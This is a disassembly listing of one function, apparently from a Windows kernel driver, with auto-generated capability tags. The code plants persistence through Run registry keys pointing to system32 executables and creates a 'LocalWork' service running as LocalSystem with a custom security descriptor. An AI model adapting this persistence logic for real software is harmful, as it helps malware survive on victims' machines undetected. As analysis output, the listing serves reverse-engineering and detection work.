Function at 0x401890
Capabilities:
Persist via run registry key
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x314
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp + 0x24]
push ebx
push esi
push edi
xor edi, edi
add eax, 0x7fffdffc
cmp eax, 0x14
mov dword [ecx], edi
mov dword [ecx + 4], edi
ja case.0x4018c1.2147475451
movzx eax, byte [eax + 0x401f88]
jmp dword [eax*4 + 0x401f6c]
lea ecx, [esp + 0x120]
push 0x403550
push ecx
call sub.ntoskrnl.exe_wcscpy
add esp, 8
push str.RegistryMachineSOFTWAREMicrosoftWindowsCurrentVersionRun360Disabled
jmp 0x40192c
lea ecx, [esp + 0x120]
push 0x403550
push ecx
call sub.ntoskrnl.exe_wcscpy
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add esp, 8
push str.RegistryMachineSOFTWAREMicrosoftWindowsCurrentVersionRun360Disabled
lea edx, [esp + 0x34]
push edx
call esi
push str.GaControler
jmp 0x40193e
lea ecx, [esp + 0x120]
push str.C:WINDOWS_system32captureg.exe
push ecx
call sub.ntoskrnl.exe_wcscpy
add esp, 8
push str.RegistryMachineSOFTWAREMicrosoftWindowsCurrentVersionRun
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea edx, [esp + 0x34]
push edx
call esi
push str.GaMain
lea eax, [esp + 0x14]
push eax
call esi
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x10]
push 0xf003f
lea ecx, [esp + 0x38]
push eax
mov dword [esp + 0x24], 0x18
mov dword [esp + 0x28], edi
mov dword [esp + 0x30], 0x40
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
mov ebx, 1
jl 0x4019b6
lea ecx, [esp + 0x120]
push ecx
call sub.ntoskrnl.exe_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x124]
push eax
push ebx
push edi
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
lea ecx, [esp + 0x120]
push str.C:WINDOWS_system32workstation.exe
push ecx
call sub.ntoskrnl.exe_wcscpy
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add esp, 8
push str.RegistryMachineSYSTEMControlSet001ServicesLocalWork
lea edx, [esp + 0x34]
push edx
call esi
push str.ImagePath
lea eax, [esp + 0x104]
push eax
call esi
push str.DisplayName
lea ecx, [esp + 0x10c]
push ecx
call esi
push str.Group
lea edx, [esp + 0xfc]
push edx
call esi
push str.ObjectName
lea eax, [esp + 0xf4]
push eax
call esi
push str.ErrorControl
lea ecx, [esp + 0x114]
push ecx
call esi
push str.Start
lea edx, [esp + 0x11c]
push edx
call esi
push str.Type
lea eax, [esp + 0x3c]
push eax
call esi
push str.Security
lea ecx, [esp + 0x44]
push ecx
call esi
push edi
push 8
push edi
push edi
lea eax, [esp + 0x28]
push eax
push 0xf003f
lea ecx, [esp + 0x28]
lea edx, [esp + 0x48]
push ecx
mov dword [esp + 0x34], 0x18
mov dword [esp + 0x38], edi
mov dword [esp + 0x40], 0x40
mov dword [esp + 0x3c], edx
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
jl 0x401f61
lea edx, [esp + 0x18]
push edx
push 0xf003f
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
mov ebx, 1
jl 0x401c23
lea ecx, [esp + 0x120]
push ecx
call sub.ntoskrnl.exe_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x124]
push eax
push ebx
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
lea ecx, [esp + 0x110]
push ecx
push edx
call edi
lea eax, [esp + 0x120]
push str.LocalWork
push eax
call sub.ntoskrnl.exe_wcscpy
lea ecx, [esp + 0x128]
push ecx
call sub.ntoskrnl.exe_wcslen
add esp, 0xc
lea edx, [eax + eax + 2]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x124]
push eax
push ebx
push 0
lea ecx, [esp + 0x118]
push ecx
push edx
call edi
lea eax, [esp + 0x120]
push 0x403250
push eax
call sub.ntoskrnl.exe_wcscpy
lea ecx, [esp + 0x128]
push ecx
call sub.ntoskrnl.exe_wcslen
add esp, 0xc
lea edx, [eax + eax + 2]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x124]
push eax
push ebx
push 0
lea ecx, [esp + 0x108]
push ecx
push edx
call edi
lea eax, [esp + 0x120]
push str.LocalSystem
push eax
call sub.ntoskrnl.exe_wcscpy
lea ecx, [esp + 0x128]
push ecx
call sub.ntoskrnl.exe_wcslen
add esp, 0xc
lea edx, [eax + eax + 2]
push edx
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x124]
push eax
push ebx
push 0
lea ecx, [esp + 0x100]
push ecx
push edx
call edi
push 4
lea eax, [esp + 0x10]
push eax
push 4
push 0
lea ecx, [esp + 0x120]
mov dword [esp + 0x1c], ebx
push ecx
mov edx, dword [esp + 0x24]
push edx
call edi
mov edx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x10]
push eax
push 4
push 0
lea ecx, [esp + 0x128]
push ecx
push edx
mov dword [esp + 0x24], 2
call edi
mov edx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x10]
push eax
push 4
push 0
lea ecx, [esp + 0x48]
push ecx
push edx
mov dword [esp + 0x24], 0x110
call edi
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
mov ecx, 0x2a
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
mov cl, 0xf
mov al, 0x80
mov byte [esp + 0x6a], cl
mov byte [esp + 0x9a], cl
mov cl, 0x20
mov dl, 0x12
mov byte [esp + 0x4b], al
mov byte [esp + 0x65], al
mov al, 5
mov byte [esp + 0xa4], cl
mov byte [esp + 0xa8], cl
mov byte [esp + 0xd0], cl
push str.RegistryMachineSYSTEMControlSet001ServicesLocalWorkSecurity
lea ecx, [esp + 0x34]
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4e], 0x14
mov byte [esp + 0x50], 0x90
mov byte [esp + 0x54], 0x9c
mov byte [esp + 0x58], 0x14
mov byte [esp + 0x5c], 0x30
mov byte [esp + 0x60], 2
mov byte [esp + 0x62], 0x1c
mov byte [esp + 0x64], bl
mov byte [esp + 0x68], 2
mov byte [esp + 0x6a], 0x14
mov byte [esp + 0x6c], 0xff
mov byte [esp + 0x6d], bl
mov byte [esp + 0x70], bl
mov byte [esp + 0x71], bl
mov byte [esp + 0x77], bl
mov byte [esp + 0x7c], 2
mov byte [esp + 0x7e], 0x60
mov byte [esp + 0x80], 4
mov byte [esp + 0x86], 0x14
mov byte [esp + 0x88], 0xfd
mov byte [esp + 0x89], bl
mov byte [esp + 0x8a], 2
mov byte [esp + 0x8c], bl
mov byte [esp + 0x8d], bl
mov byte [esp + 0x93], al
mov byte [esp + 0x94], dl
mov byte [esp + 0x9a], 0x18
mov byte [esp + 0x9c], 0xff
mov byte [esp + 0x9d], bl
mov byte [esp + 0xa0], bl
mov byte [esp + 0xa1], 2
mov byte [esp + 0xa7], al
mov byte [esp + 0xad], 2
mov byte [esp + 0xb2], 0x14
mov byte [esp + 0xb4], 0x8d
mov byte [esp + 0xb5], bl
mov byte [esp + 0xb6], 2
mov byte [esp + 0xb8], bl
mov byte [esp + 0xb9], bl
mov byte [esp + 0xbf], al
mov byte [esp + 0xc0], 0xb
mov byte [esp + 0xc6], 0x18
mov byte [esp + 0xc8], 0xfd
mov byte [esp + 0xc9], bl
mov byte [esp + 0xca], 2
mov byte [esp + 0xcc], bl
mov byte [esp + 0xcd], 2
mov byte [esp + 0xd3], al
mov byte [esp + 0xd8], 0x23
mov byte [esp + 0xd9], 2
mov byte [esp + 0xdc], bl
mov byte [esp + 0xdd], bl
mov byte [esp + 0xe3], al
mov byte [esp + 0xe4], dl
mov byte [esp + 0xe8], bl
mov byte [esp + 0xe9], bl
mov byte [esp + 0xef], al
mov byte [esp + 0xf0], dl
push ecx
call esi
xor esi, esi
push esi
push 8
push esi
push esi
lea eax, [esp + 0x28]
push eax
push 0xf003f
lea ecx, [esp + 0x28]
lea edx, [esp + 0x48]
push ecx
mov dword [esp + 0x34], 0x18
mov dword [esp + 0x38], esi
mov dword [esp + 0x40], 0x40
mov dword [esp + 0x3c], edx
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
jl 0x401e74
lea edx, [esp + 0x18]
push edx
push 0xf003f
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov eax, dword [esp + 0x10]
push 0xa8
lea ecx, [esp + 0x4c]
push ecx
push 3
push esi
lea edx, [esp + 0x50]
push edx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
lea edx, [esp + 0x120]
push str.C:WINDOWS_system32gacontroler.exe
push edx
call sub.ntoskrnl.exe_wcscpy
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add esp, 8
push str.RegistryMachineSOFTWAREMicrosoftWindowsCurrentVersionRun
lea eax, [esp + 0x44]
push eax
call esi
push str.GaControler
lea ecx, [esp + 0x3c]
push ecx
call esi
lea eax, [esp + 0x18]
push eax
push 0xf003f
lea ecx, [esp + 0x14]
lea edx, [esp + 0x48]
push ecx
mov dword [esp + 0x24], 0x18
mov dword [esp + 0x28], edi
mov dword [esp + 0x30], 0x40
mov dword [esp + 0x2c], edx
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
mov ebx, 1
jl 0x401f2e
lea edx, [esp + 0x120]
push edx
call sub.ntoskrnl.exe_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x124]
push ecx
push ebx
push edi
lea edx, [esp + 0x48]
push edx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
mov edx, dword [0x40401c]
push edx
call fcn.00401830
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
mov dword [ecx], 0xc0000010
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x24